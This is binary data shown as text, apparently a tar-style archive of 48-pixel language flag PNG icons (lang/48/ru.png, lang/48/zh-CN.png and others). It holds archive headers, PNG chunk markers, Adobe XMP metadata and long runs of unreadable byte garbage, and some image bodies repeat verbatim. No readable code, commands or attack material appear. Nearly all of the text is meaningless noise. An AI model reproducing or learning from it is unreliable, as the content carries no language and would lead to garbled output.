���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�lang/48/si.png000064400000004130151721413500007036 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��[lW�����:�Ʊ�4N��&@��D"���RP���
�TH<py�	T!@H\$@*U��P��B"
Q�x(�ZZ%��i�Jhn��x���kggg�>f����iԠ�"��<���?��w�s�����e���n�`�Ph~.��F�҉OU���<;�P�?Áf��`��#z` H�#���/��:@���}�����Y�`l��*�6�Yw��5��3������)��p���v�u�ն��G�G�g�KRQfO
ӤI�S��dW������pf^PPߒA1��Ǯ�}�#�c��!(���0wBn�Z�wX�~4N<�q��y�Acb	z�H��1�Gb��)��nX�
j��\Ds������إ��.4���$���!��?O�݊�d�c�}�d����S1�����a>���6�NGV�cXu�e��G:��%�g����X$V�cJ�|:�'{�u"w����\+L=�����1A�S��0��b���*u��Q!W2l~�P~űv��'_��~�p����l{ ��zлq�F�)6	�=aI���ɣB�z�
A\Ak�����$�P�JY���#�Sʇ(��rgn� ����@&�iU�DIK>�j�
C⹄ٷ�ɗ�{
:�5��\x�>��|�r�I��g�|@1��u{,�;,�~�d����	 �
Фŀ!���`�ʥ7NV�`�����z
r����ڥ۾W_S�R,L��r�S�HH��4�=hO	E ��-!��B}&�|!ϵKJcΡ�AU��C�ժr�/��A���Px�Ac��JRU�D��g
c�H0�
�|��:
���EK�@��MkolA��W�c�h0t_���X��(��QY��Va��r���(����xRq��*`��=�.S��Jï�@�DJ��q̀Q\-�%:�'a�kw�Y�
QC)Z��.e�F�zjnx�%W�Ca�p�����c��]'�U[ɹ̀:"��`h�� Q��Yc��4��=�`�
{~��0�2	�<�`��#�bkG�p��Bq5�J���/l�M���ʵ^L�x���.!���*jh�LT,:�T+1w�X�%�iet(ӍZ��h�YTJ<�+����ȭ� �"ګ����t^r�����c�R�}��ҵ�^ ��m���"���i[�j=T�ַ�=/iSŨ�3BcJQx2$�H��N=R((��O�E�����}�~�B�>7Pul��b�fTA���K�P~�|?d�+������a�u���7���c�ʪ&}�	�ҫJ��#��rhgR�`a~�Q�����W&��W�B$\>�8*���BNp��hٸ�@&^U����s#��L�l�g��PV��`\��C��x��d@��X��h��C�u��=�'Lt$_���E�Cp�K
�vX9�ݘ�=�/	/>����l�����[6z�b@R}��ua�w	�3��#Pŝ�
ZWNLJ��'m+&����e��s	w� e�?l��y��DQ��l� �aP:.�Ђ�D�A,ت2�?&PQ��A�NXs/�_���X��tJ���xf��Y����g<9R[iΐf��h%D<`���]){		i&?�M]������(d�~C�g8�k��qO����-[�P�j�\T���~��zV	K�Um&�vI}nq�ޔ
��wr�,u�`�3?�9�8x2�v����p�[1g|��9c	�L��\�XT���m�ċ�S7�=�5������`S	�;�?�}����";����M��O��7Qd��B���3��1��^K�d;x��z�%��^��vJ���ߍm����g��M߳�|�s�ј���ۓ��ڠ�������ycO��ف�U���l[Bi��d����#>}��mR���Tu9x���]fΗ��M�x��\N�����n�
��`Z��C�IEND�B`�lang/48/my.png000064400000004547151721413500007064 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3" xmpMM:DocumentID="xmp.did:A2B4D2EA918111E093979AD66940A269" xmpMM:InstanceID="xmp.iid:A2B4D2E9918111E093979AD66940A269" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2CDDED3B590E0118994FE9D01F34E2B" stRef:documentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>ЂvuIDATx��Y]hU����v�l�J4H"�֘j��<)򢠈�V-�̃X�C��@Z�S%��i$hQ��TScM
R��!��f����ܙ���f7�;]�����M����s�a�s�r�P�m���;F"��쾖�N������.֢��]'���l������W��c҇Nѣ�Y��28�Y&��$�X����-�:��:���:)h�T�x�z�9^� (�8��:SsH���A��i�,���r��XT��s�|2x��ˋ�;� ���`��ܐ�V�~M�Jgb @x e�(����Xc��D7�t*C����󛑲� �B	�duk��P�Q��ߥc�l
)�b��"���^&Y�H��^���\p�>u�Q����NH�Ҙ���|fT˻r6��څFo�z��ZG��*�}��ڏ�1�߃�Vo��K<�u�+c}�XL��,:�I��SF����V@��v4;�c��؁Td�!�����2��@#J%Jf!����$�^�j�Tw5�W�%��^����\�J]2]�ê�ZS�,�rj\���Q34�y밷s/�Z�*bmoS/FF������㹏�Sr��Y�Y��f����n�e)re��s�m�ӟB[uV�s˿��/G0�4��3,ƶ�-��h��j��}���@�A4�\+��cx��(�K~$��u(P���ה�u�Sz�(��]�Lt/�����2J-$���o`��	�=~�$_q
Tf�.�R���C�������9�t�a�u���=&�'1��0�:��4�Q�B�4����S@XN�'�)Qy�sx����ك&�Crn�
h�B�A���5����r}G���ۂ�f�ĵ����P&	k�:z��*9qk�
=M�_�\�κ����@�徃��~ya%�;Y��A�ޞ3��v?^=|	z$J{+<E�*Kh�x�d�!{���/ ��>D�G��S9�:o�s}�	�z(�RP��F	�V��3��Y��8�o���0-;����c��~��䥖z��݁���`�`�;
Z��lv��v<��r�N��:�Xz�V^y�\��>�o�[�OFyd/ԩi+{=0��V����;6�D@p�s�Dhh�o�!��0R'�6E�w���o�63��cϐ��Aٽr������9�FEUs�2�tC3R_L�<穔�hQ�&�V���yHm-��k̍��\e"��8�'�U|�2��l����K1������'��]o��޲�7��纈�/�l�5�ze�o|`�k!#h� j�	z̫!���O^kE!x�J�C�RcƿJr������Zj��2�R�`�����#���1�<8
�IEND�B`�lang/48/lb.png000064400000001173151721413500007024 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��n�@������	�*$��\r�x} ��'��
���xЊ����9�VӐBUd�#Y�������ٱM)KF����;�90j�$d���ٳ|>��<����<��?y��QL���勤�_�?���{0B��Eӻ�̮���M��w�n�ɦ�A��ܡ��،�f�$�xW����1w�v:;�u���P�QU��Uߴ�t��U\�UU!���*��MG!�P�Dg���MG
e@�<0j<#*�(�� F>V��S(��De"��#��0k=�h�Fe"�s�NX7�OI^�̞������ ŏ[��=@���(���=�YN����<#S����Pv=���
�R��d6������إ��gg��E�[d�c?�y�|���%f$��͈��(�$x�c��6_��h� Ð�@6���9�-��`�\,��x�<�qb�>��I[�$%pi��������L($ �BIEND�B`�lang/48/kn.png000064400000002174151721413500007041 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�lang/48/ru.png000064400000001047151721413500007055 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KN�0�?g
�/!F\�-{�Œ��d�
8�!Fbh�mӡ�T���7�ڤ�_���8��D�Dp+
��@�0L��v�6���O�n`�>Qm\�PP��P���3���nCLzs\q}��PsfuK�(�eyC��[�?�Y������n+\����~�p��2���c������dP�U�%�Q�5`�L�7;��.�|������qF!���
wn���h.5]�@JB����\�P'�\�%f��EK��8�2Û�K+�d`�f`5Z�e}�6�8꣐� ���>�w�ua�� �0r0�>�vw�#�W�T�6/,R�w�OZ$s�<�H�{
3_ �< ��<�]�M[[!7�
p7}�X�P�c`l���0?�&�9A
L���@�2�,�ֱ}�IEND�B`�lang/48/hy.png000064400000001423151721413500007045 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���n�0�N�nK��h�=V��7�#p�Cߌ+g$^�3�3 -�v)���l�n��S�aGZّ�^��?3�8��HY2�9�9���w���S����x�ommUX��j� E��}��5Sc��Ӥ6_��e�����
::lF���s�}��ϳdZ��f�dk�`�
`�c����s3õ����c���[�Ow��ۏ��3�P�B��x�T�k��o��t��j]���C�ou�.�B�B��@�pM�bUhRPL�����*�P%��j�6	VUX�E���0\�Z+K�J��<Q�8�x1|���� � �S|~�5YH~T�2�%2�����fuw-�9�s�E9.k��%.dF��*��8�Ŧ4m4���cx��9g��.����vBˀPGM�-|�a��`T&��ݥ�1���I��L r��,sDљ�ˌ��r
��|�g'{mb�
�]���r
�%T�.ԺOJ���e`�k�L��F1G^-�����Co���$€�ZVV6L��=�7��Wʣ����	�%�w��q4�6b��������_C�;����g������B�bn٤�s�������E���'��/�GG�yi�mS�
8r�/�sssT~�0����G�IEND�B`�lang/48/vi.png000064400000002226151721413500007045 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx���ke�?���lv'5i��D�Ei�y(z+A� �T�
^<xӓ��҃�ڳ�Ws�UA!���4�l��yg���0;�3�ݐl���>�0�̼��}~��U����p����0����&��x�7q��ߺ�K*B���FM���	�mDP琇����f̸�Z��F�~�~7������`�a��s�O���wG��$sR߼Ϥ�s�@@M4Ia>�$ EN�ڌG�I+�J�ޞ,��d�2�"�YK��k����_׫YhۢR5!k�7!����ԛ/�ڲ	�s0@כ��@�z��rP��V+�sIq�!���5G���?n��D�q\q�4Et0�@x��$�_�����ea����@��/��E���"�_�4E��Z5� �+}P�A�f�w��bC�T3��)���{|e��Z�,HV�w_��fd�����ʉ�!��3,���^���)/@
�՘�B��F은�/:�	�K��̒�<��g�]��x<��l���MH�+��L�Uq�ތ�}�?$<��!�Y�^��3�~1����xe��ĹM�J�>�׈���D�l*�:���M��G� 3悡{�$+WO��}C�f���F�K>d�q�fH��9�X2\p/Gc|���,�2������f|�1��5�.w��*��Y��r�z�-
f��Z%��u
�j?�Y��.� u�� Tʓ
4�
��S.&�����Q�{�"v>� I0Xu���b�F
"�kV��Mh����:�Iϋ�!�������p����#�-|��n��<j�R��k��*W��m/���;d�����-���ҽ26���7�<��aT�ϛ�	?N\>'�~��`#��/�>�~�@�U����FR������J�z$ǜP38e5g��5�baD�;���
<�?�&��(
5�I�L�4`
>����O܄Ja4G���8S
�}�ޣGM<"px�<Ӱ�����3�k�(���~``�?��V�`!�_1IEND�B`�lang/48/am.png000064400000003156151721413500007027 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��]l\��s?�����؉�0I�Ld
JU�
�>���R�H����R����*U�R_�B�S��--jH
I��$B�Ib�8��[�]��{��v�٤N�]��V���Ν��Μ�=��9gF��,].�V��P�$yW��9/��ǝ����^.u��/<���	®ѻ�J�����B5�I�XÕp��c�"וo$�B���\��
����ÒZ[����g7{w�6�zW]�^˽�#���[��fi�7Sf�gr���6���E#�ʺ�%2����d4ƶX�"�F���EH�jZ�fbBw���1ֲ�'Y��5�:&�+`%(G����b���E��Xk8S�[Kh"B-_�b+	��4z!�Bp{c��*No������$����n�BV"
dz�ʇ֣�e��O����A�G�4�X��ɋh�j�G�P�ʩO<��zz��(g-H�R4y�p�_H�Ww�o�3F��,�k��-`-#��!^��>2=),}�vi+�z[���j �5���7�4����S.Ya8[������,��X��HX�r%��T��u�/`�D�_�>�p�H.Y��=�yS���We�x(��شԩ��wom�q$1=�c˖���\��\�pω8���5����7�&x��q�^�n��m^0 �
(]uسoC#���P �<�p����)d�M��{���1�����\?{��΃wOӓ
��T�&y�RH��Rq���L�B��ޭ�l�}���k�>��#��?<LP��:�˗��f��	JW>>�Dž��q�u�7-`A:	��ň���W��[�}����9�����|��z����ys�6HE�B����E�[-`$k?�1	W�{���$�������m�y�1u� r8yf
�
x���5�D�q��c���aݨh?��1Zb�X	A8vj��T�w�0/>������|7�d̉�<ʱl/�i���J��m���E)�ɫv$�	x�kGy�'�C6 ߿@:���ˡ
T��=�>�@203ׇ���o�?P�Ɲ��"�Xd:1�qx��C�:�TR��t��gx폓�wl=�����d$_f�x��d��'�oL���g����K����xn���@�b�������t)]��0�m�Z����!p-���Q�[?{��u�rPi{��fk��@����V೯��l���7
�~�od?T_go�P�^��E<Q1�Ξ�%y�ۆY���B��n�z�@Ƴ�""t�S-Q��j萣�k��j�9�����5(���
_�f����S�i�"t��ň,��'�1�8���ve|�ԗ���_ۇʣ���~A�]Z����b$k�@-�Oo�|8��	
�ʵ�RM�x�JEK����X�����ʉؖiԊE�����Ja�]��iQ����c�k��A��6�d2]G%/��O�����(`��2�/G��l#�&	��Z=�_�
`��T���k?µYCIEND�B`�lang/48/bs.png000064400000004447151721413500007042 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��{pT��?w��݄d��CD�e�A�@�2S5j|0����b���v���T��)}X-��)CE�֪�A� � RyBD��w6�W�>�=��&ل
/�S��w�=g������{��ܣ)�8������"p���;
��>��X���_�
�]Rȸ1�9X�̃�<l���)��������vk�x�����Zf�:�5�3f�`ʾ1�H$����9x��vٰ�Z�����(�ND����1yd�§�~y@��C�`�����m[5�~��Ô�Q4�Ĉ4E	5�,z����*)ĵ�#L����[�X��^Z�&JA^n&R*���"��N(f1}�hJ�?��L/��-aǮZ�|kf��>��g;�o�5�)u���Nz�H��u-	�B����
ە8��wx���T~�@[[�����p[!���O˞�t�	J�r���{��1�9˜�kG�8��-�$��m7�ş���3X�‡���c�[\0y$>�F4$y��1�$����R�i��"��!$�-�m�����r�-�m�&o`6��\RzM�1*�fLK�?�c��v3��7n�m�MԖ@I�E��ضH�@)�<C&3f����B��|�u�4v�e��	5*,)⎛��sk����Y����"n:��H�0(^Y���Cs�>�"���ˉ��i�yf�8��QΙ؄�COt��5�T
���2���W�_�����P["7/+f2~�<�$v�Ţ"v�����@Z}�N�L��h@��wHE�g�E�����O�,L�q���X��>	7�D�<�b��C&6#ڽ}�]� ܔ��$w�,'�VS��0x
���|}�h~��)��㑇K��j���S�~�I<��L,��Itا{4d*�J��qS%}� �^���уYП�@�.)�ro��w?1������Kjp�@]�i��UȓB�%0S�S�%0m�e���?.��ʪ&|^+gB�p2�R�x�g�n�`�Y�/Lv��n�R���=���穅�W
��g؈<,n�[��?bC�~\;�{zO?j1sZ
N��{�Nj����u!�G�[R�#�5��1c��|�r�5�	��ر��O�e��(�{t*�_�̩��?g8�)�z�.��h����=���� ����ᡟ��bw�����wO���ML9�;�?a�
�JՀB*Rг}h ���V��������0~��iӹ�(ߔ�/�J>��G�I	$_d�EIubp%���ҫ۸��%�8w(P*Ν�3킑(7L}cs旲��#$�<n���nj6*��Z��+T2
�bq���}���RU�̹��p�b�x�
��x�j�p�=������@]�\����L�=�
Ti�[���(
�Gc��-�l$'����x�����V��ڂ��SʆM�O�c�T��A��^��{4���)x�_�ر��Pkeڌ>s�NϤ��˜��P�y�1����/A 5��L�m/q.�B����Fǘ�
='���*��E̺f	qK e�[�p�Ņ(7D�-��ﺔw���6;�L�th@�z@�^c?]����U8�˚U{����AF�1���~�[n.ᡇ.���Ŕi�	��̾�R��Ψ����1_���h)!D���uO6��H�|�����6�bdAV��æ�P.f�Í���z��r�h���]*��W)��c���G'%��W�ā�A�B���i���ԉ�<|��ٲu(�l�]��hI���B��<xb�
#/��||�I�p�e�"(�ΝߝƜY�(��.�����ǃ{vg��uO�R}��W�B����(]�@EEg
e��󸪬�X��9�#x㭝�]Yŕ��x��U��W�������7q_3)�P~/���t�~�^F��1~�`,[�q�g���fQz땼��C���L%@gz��E��o�bo=�M�ne���0C��0(�G���5߿�5���4N�zz@�eُ��q�6Dɴ�0u��	���ם���'�n1�3�2֕���N�p��'��Ɲ����7���5����ۅ�aV�,KPtv>ﭩ`�����+x�鷙R&��T#yP@$�ʾ����lr6��#tl���I�˂�p{h)��D�v�08|���4;���R Y�L�"ک��SN8E�+-��s2�h2�IEND�B`�lang/48/fa.png000064400000002534151721413500007017 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�왽oE�3;{{�w��g�EB�L"*� ��
���&|�QP!�!u@�\ْű}��>�cv�P�mL�@�d��t�ݼ����fޛY彧ɢi������R*" h��7n���s�իW���A����?e���y�ʳ�2���ew ��#�H�1�S�:��j?J���էu�ޓBh��8*qg������o��1����s%�R/��SJ����e������I����T�Q	t�+V�F�
p��{ʪ�t�(��-P'(��t���8/<�wP5@�[r��k̵;��!-&Z��&bX��hM۴��ȫ�(Ѫ^ac[����1�gC:a�C�M�A6��8]�����a 8$
�v?�0,�X�Iˆ�*���hE�p^��\d����{�pu�mJg��1*3��Vȝe\�h��alsJ�p^h���r��BV��i9�Q�ӏ:�cEZ�������bH��el�^vH'�Q@)�a���!Jy
W�ۜPkf{3��Rp�{���RB)�4�jT�������I��o-vm
ɲ'��v������B���vP���w��L�2�+?`.]�m�C��£P��m��\��x凩zbj��"z�&vk��Q�P�ީ��&��7�~�	w���P�
��A��Q�������k�v}���o�;�Mk�ֳKDחqi��T���$���F�C\�]_���4���&"�J����&߯`�\!��K�o�	��o�w�jk���	ff{.�=Z�%sܘ@03C��+ss�����]�_�
S1�����b�����zT�Ƿ^ƥ)����p�Z�j��IRUa�!���G$O?��98���`n�3�x$��IZ�#��,A?��f�	� �	��@���,C�1*�9|Y�Eн>��9��`��L&������պJ#����eh����mtn�k�^���CкN<{t;ƫ:���]t�T����Z-P�I���F'	2C�t���Lj� @�!J)$MQ��Bn��$��B���A��������ъp�b�.\�o�~ơ��hFER)�po��ޟ$�����B�Ѩ�㽩1���gb� (�Nn%���#��h�h,���\�E��vJ�!���M<�;\n�
3~���_/]8�n��P���?88�O�_����9�qIEND�B`�lang/48/haw.png000064400000002216151721413500007205 0ustar00�PNG


IHDR00W��sRGB���gAMA���a	pHYs�M+tEXtSoftwarepaint.net 4.0.12Ck��IDAThC�[LY�O�<l|37�������h���Vt1�JP���7\��D���^ P\�P�.[��jQ��P"k�m-tQ.���3�E�{�N�I��_�sf�O�;�7C0
Ud	��T�%�"KPE���,AY��ϡ�p?w���4Q!�׋d�ͭx��2�P��L��93�3�Z����lEX/�2����1<;�r����Ŝ��S��W@�J���ѩ.��� bS4;=ܤ�xCwY%*&x	�T�8��|1+��o�vu�w��މ�nnq\�wm�aM�-��/G������FLYr�_
L�C��
@sR:����:䪟]^� d���I��YӶ��	A���]/�c�{
l�I˩x���Z�~��|���l�n���``xE�֧�>9���~])H�W�0�Ѐ��0,�Ӗ��wv᩵�֦8���#`��Q����M�P�fn|��$H��dGtn���"��Y�ނ��\tiJne�
�m0�%M&�:��6$d�:��Q�K�ņ�D_TY���?a�~�q�e�1�g�V�����?%G��B��Y(��
���C��G�����⏊(ܷ8�At�x��]C��В���.$(�����F&q��Kl���6Y깄;���@��8o��Ra}�v[�Cw�U�V��6�.���PA7{	jS����6:'8�V%�G!㋐��2{ʫ��g�'�~���L��7t��	Eϰ,Tx�N�Q�����=�Yh�v@7/���J<n�`��\��w%�d�]�J��z��6�}�
FI8��)�w3�$�
�#|c���Q\R�����xB�_���F��q�|��g��w��lڜ�M܌�
L���>[�u��W=�BV7c�|xr,Bb�
����<'�'.t��B��Q����
|j~��g�
_�Y����@:TԘ��>u��#~Q�>c��(�Į�}y᱅��P�
��;KPE���,AY�*�Ud	��T�@^�̊0*IEND�B`�lang/48/uk.png000064400000001341151721413500007043 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FgIDATx��kjA�5���Ĉr����<�w�
B��A<�H�Fpwf����3c���$)�2��ף��[ܝ�T��w����J��7�F���/���x|j��>����Ԝo��ܹ�H���"ls}�>��[�-���w���(̝d��5����q�v^��۶v�Ȧ�w�����_�{}���k*J7�N�Zmĕ�S��A�T�9.���]&ꦨV�-�ܩը�B��F�I��:)�@�N��V�k5�@h���X�c8.���n�R�J:���Վ�5���I�����g�����K�a��Juro�IS{(A�6`�je�� �m�Y�*���œ�1�'��wj=��0gYU�c�]H93�jU�	䪤M�I ��!�c��g�5Z��t�0箋4����E��Կ?��_�% ��5��"D��r�5�"��X�)����$��t�T����Q�Rڀ5�H��h���!�F?�"����
Y��À�<h�U�n@�_�b������}+K-�3	�T�.��ԟ�S���C��W$�x<
��/�{a�t�|#Q���K�����ү?�~n���+IEND�B`�lang/48/ku.png000064400000002461151721413500007047 0ustar00�PNG


IHDR00W��sRGB���gAMA���a	pHYs_��tEXtSoftwarepaint.net 4.0.12Ck��IDAThC�X[oUU�/ �(^1Q5ޢ�ѐ��x�xy�h$FM ��(��/�d4�/��`��9���R��B)(�\z��J�Ì�̬Cw�Yi���d}ɴ3��^kf��Y��<f���ʘȫ���ʘȫ���ʘȫ���ʘH�D��u�&3w��}�qlp�C�yP_�|�?d<@]o9Ρw�c�b�v�ʳNz>a��	x�r���?�;AG�(��)��8@������2�q�R�Zdؠ����"�����C���0|ׄ��0z>�p3��.�O�`>�f�{��;����w�t���
S�2�g*RyS�c�'~4�}���SL�����.��'�}��A���	aȷXq�|MCH@]o3m8���L.�զ���ڽ�0m���������qeLC�&��;�h��L�����(�J/dj^b���M���B}�Ǐ����g�xEF�As �g�8�
b����^$����Yh������L�b��yfFv���{_f>�
��W�v=[kdj{�㤖0(iie
,��!$���iFHX�?o�6p&�P��o��C�q��n�0���v�5\]k\m�%�=�͸8����7��}V�7��k"{����a>�����[1�>?����!�ϑ�+���gTn�x�(
��)��vώ|!49�1+�)�.���p�Qכ���n�p�s�t�U�MW���J�˭�
5��Ñ�Y����D���В��rS�aY��F|��#r�R�����́ɓ�I�X�v-������o@���Ʃ� �X2�<��͂|!$�&M���L8Uߗ���k7`>�;@��/�)��l��q�Sy$ݫ�Aγ ��;Wi�?FG�5���p�h��$m�Goi�s�W���Zq�\�|��ts@��$ S�
�蓚|��RV[1�����U�L`Ǟ��|I"=~���Fw>�a���OW����8e�9����Y��B�Xi� �G��L�����ޗ��7�^B���Sr�����&���Mjz���nC�m����(/��ۙ1NM�B�Xui*�NG�J@���Jj��M�)��*䷡��N(��8�?�L]�RUˢ\zDN"��]�ǁt"�����\0q���i�c�@�φ�q��85y�1�Wy�1�Wy�1�Wy����$]ާz�:IEND�B`�lang/48/zh-CN.png000064400000002047151721413500007347 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�왿o�T�?���e����N� !D��:��hQ*$Z��)�E�
���@EC��$ĝ"Q�t�\.{�����1Ca;�:��!�
;��~��w�����U���pYX��0@t�}�$Yl���ۇM|����r+�*J�ΫW��5�	�[���Ͽ���*H@���j������y���[Bo�3�&!�רT�7s<O.3O���Y��IT�bTC�y����xp���@
���שk��g�g��3g�-��<�!�HE�Cݩ/�5e�
˳O��uUd�o ����ޠr�K��ϛ3��8�U���AS�0]O�a�S��dr�����2���{��ٿ �\�s��%�[6vQ_Q��}Ͳvdh�k�gSG8P���䡸o�l�b
����>�ގ�������F��h�.��d��R"�f�Ɓ�,Em�߃��@�E{����u�c{�[Y^լ�@��et�d�p�C����7��:�sBW1�2�x��nA��,�M��}��v�o(�`v�dnn��q�a�{�x�	���dY�߇�o9ayxG�rN�*J���ܮ��"Ss��I���KV�7�hS��A�a�����Uh�ė����)O����B�P���GW�e+��o�~����Dޣ�jJ�}C�4pb��f���f��n���C��U���+��K��a��"�t
��
������2���zuU���~�q�%g�7��}�s�͛5�9�#A��B!�X�@/���V�J��}Z�@��Ϧ�@�&���4�S-RDQ�"��\t�0�1�S�R��5���Q������
`��e.$�닖:7�� U�	8��JI٩�F4P�n/�
S�	pߐ^�(�M��՗����k���;�O�&�IEND�B`�lang/48/gu.png000064400000002174151721413500007044 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�lang/48/so.png000064400000002235151721413500007050 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F#IDATx��=lU�ow�}�/ۉ/�Hd��ABH���� ��h(鐠J���
�
$P
RB"JA��!#BL����Fvb��l�y��������پ�-�7�����of޼�U"B��"�����H��q"
��/y���'{ %"����'��R�m`3�^K���Wu�������yȡ��`L�Y$4}AP%����H*�򿒊���e�ǔO�{m��	�0Z�6��J�Vv�ރ��mQZ�2��טXؿ�
&�����t�	���
��+&;6��}��uq�-��2!��u�+5������k��*lB�ۮ���3���ËO��^̰U�val�;�?��GR]ؖ���In�G��#�m��+�j��`7����q'ړ�R�6q��4��f�h�y�>~�������̍��>�i\�9]�v\��Kb���d:���}\/*��8��oLx*�F���7_z�6�F����#�;;R%���i�.e�������}@7h>+�J&�ť,o�z����SǞ����gW�X^�<�Nd[a
����\��/&x��^yfh_�����kw���ζ�v��@��3|��,3�y��Qz��U<[�^���|&/0�H�
Q�f��ܚVsn/�U!͔4hh1XJ!Bc����ݤ{�5L�&9�ߵ���ถRh	0&0�FZ�$�N��<�'�N����9���u�P>�����k)ų����2�_�Ev���2�_8��g���\�v�i�.{�m���:L��������=�?���tu���<��c�f���Y�s�[���v����^g�潚��^�ݏ�>���XE2A
l�2	o�斲,�����&sKNS�-H�A���c��%�V�dT���U���{����L��
��
9��D���
RG}A��#M>�v22����r�BAWL0��7SH��b����*�F�<N�۱�P�Q�zf��V�`��䗁_��Kݥk��dU�O}@@��J�ӥ���IEND�B`�lang/48/fr-qc.png000064400000005547151721413500007450 0ustar00�PNG


